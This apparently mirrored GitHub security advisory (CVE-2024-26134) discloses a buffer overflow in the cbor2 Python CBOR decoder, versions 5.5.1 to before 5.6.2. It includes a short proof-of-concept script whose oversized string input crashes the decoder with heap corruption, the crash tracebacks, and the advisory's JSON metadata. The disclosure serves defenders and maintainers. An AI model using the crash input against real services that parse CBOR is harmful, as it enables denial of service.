ghsa-375g-39jq-vq7m
Vulnerability from github
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
```py import json import concurrent.futures import cbor2
def test(): obj = "x" * 131128 cbor_enc = cbor2.dumps(obj) return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor: future = executor.submit(test) print(future.result()) ```
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
```py import json import cbor2
def test(): obj = "x" * 131128 cbor_enc = cbor2.dumps(obj) return cbor2.loads(cbor_enc)
print(test()) ```
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cbor2"
},
"ranges": [
{
"events": [
{
"introduced": "5.5.1"
},
{
"fixed": "5.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-26134"
],
"database_specific": {
"cwe_ids": [
"CWE-120"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T00:09:03Z",
"nvd_published_at": "2024-02-19T23:15:07Z",
"severity": "HIGH"
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "GHSA-375g-39jq-vq7m",
"modified": "2024-04-20T00:31:52Z",
"published": "2024-02-21T00:09:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.